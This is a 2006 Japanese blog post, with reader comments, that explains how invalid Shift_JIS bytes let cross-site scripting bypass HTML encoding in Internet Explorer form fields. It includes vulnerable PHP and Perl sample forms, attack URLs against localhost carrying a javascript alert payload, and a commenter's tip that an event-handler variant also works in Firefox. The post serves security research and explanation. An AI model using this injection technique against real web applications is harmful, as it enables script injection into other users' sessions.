Hatena::ブログ(Diary)

交差点でコーヒーを

2006-03-27 あったかい 花粉の季節 もう終わり?

今年は1回しか花粉症で薬飲んでません。昨日、ニュースでスギ花粉のピークは終わったって言ってました。住んでる場所によるのかな?

[]Cross-Site Scripting Cross-Site Scriptingを含むブックマーク Cross-Site Scriptingのブックマークコメント

根が深い。(ぇ

文字コード(SJIS)とHTMLエンコードとCross-Site Scriptingの微妙な関係

もしかしたら周知の事実で私だけ遅れてるのかもしれないけど、メモってことで。IE限定。

PHPHTMLエンコードされてるサンプルコードを書いてみた。

サンプルコード(SJISで保存してください)
<form>
text: <input type='text' name='text' value="<?= htmlspecialchars($_GET{'text'}) ?>"><br>
text2: <input type='text' name='text2' value="<?= htmlspecialchars($_GET{'text2'}) ?>"><br>
<input type=submit value="送信">
</form>

で、localhostに置いて、以下のURLに「IE」でアクセスしてみた。

攻撃の例
http://localhost/break_quote.php?text=text%81&text2=%20style%3dbackground:url(javascript:alert('xss'))%20%81

あら不思議。「"」でvalueが括られてて、「"」「<」「>」のHTML特殊文字HTMLエンコードされてるのにXSS動くんだ・・・って感じ。今まで知らずでした。ちなみにPerlのサンプルは↓な感じ。

サンプルコード
use CGI;
my $query=CGI->new();
my @text=($query->param('text'),$query->param('text2'));
print $query->header();
foreach(@text){
   $_ =~ s/</&lt;/ig;
   $_ =~ s/>/&gt;/ig;
   $_ =~ s/"/&quot;/ig;
}
print <<"EOM";
<form>
text: <input type='text' name='text' value="$text[0]"><br>
text2: <input type='text' name='text2' value="$text[1]"><br>
<input type=submit value="送信">
</form>
EOM

攻撃の例
http://localhost/break_quote.cgi?text=text%81&text2=%20style%3dbackground:url(javascript:alert('xss'))%20%81

動く条件は、同時に2箇所挿入できる場所で、間に「"」*1が無い事。FireFoxでもタグは壊れるが、なんか動かん。悲しい。*2

ごくたまに、valueだけ括ってる場合があるけど、それだときっと動くのね。あははん。

説明

↑はなんかだいぶ端折っちゃった。あは。

まず、IEだと、複数行に渡って属性を記述することが可能です。

属性記述の例
<input type="text" value="t
e
s
t
">

そこで、こんなことも可能なわけです。

属性記述の例

<input type="text" name="text1" value="text1">

<input type="text" name="text2" value="text2">

   ↓

<input type="text" name="text1" value="" test='">

<input type="text" name="text2" value="' style=background:url(javascript:alert('xss')) "">

2つで1個のタグとして動作させられます。*3

そこで、つまり、終わりの「"」を別の文字に変化させれば、属性が続いていることになり、次の「"」までが属性になってしまいます。その後ろにスペースを入れてあげれば、続けて属性を記述できます。

後は、つじつまを合わせるために、後ろ側の「"」も無効にしてあげればいいのです。上の例の攻撃成功時のHTMLをベースに色分けしてみました。

<form>

text: <input type='text' name='text' value="text[%81"で別の文字になる]><br>

text2: <input type='text' name='text2' value=" style=background:url(javascript:alert('xss')) [%81"で別の文字になる]><br>

<input type=submit value="送信">

</form>

という感じ。緑のところがごっそり属性値になっちゃいましたとさ。という感じなんです。

ちなみに%81にしてるところは、%81〜%8fまでいけます。%E1〜%EFもいけたように見えました。

*1:シングルクオートでも同じことができます。

*2:style属性使ってたから動かなかった。イベントハンドラとか使えばいけるっぽい。21なヤマガタさんどうもです♪

*3:こういうことをしないとXSSできない場合は稀ですが

YoukoYouko 2006/03/27 19:51 ぉ。書いてもらえた。いんすぱいあだ♪あははん。

ikepyonikepyon 2006/03/27 20:21 おお、色々面白いですねぇ
あと、UNICODE表記した場合どうなるのかなんてのも興味があったりします(さすがにXSSできないでしょうけど)。試さないと・・・

harupuharupu 2006/03/27 21:00 >よーこさん
深いんですもの
>ikepyonさん
UNICODEって色々できそうな予感はするのですがいまいちわからずです。。。そこは文字コードな人におまかせでw

hasegawayosukehasegawayosuke 2006/03/28 10:10 %90〜%9Fとか%F0〜%FCは?

yamagata21yamagata21 2006/03/28 11:35 onmouseoverみたいなイベント属性使えば、Firefoxでも動きますね〜。

harupuharupu 2006/03/28 17:47 ああっ!そうか。style属性の部分で動くのがIE限定だって忘れてました。。。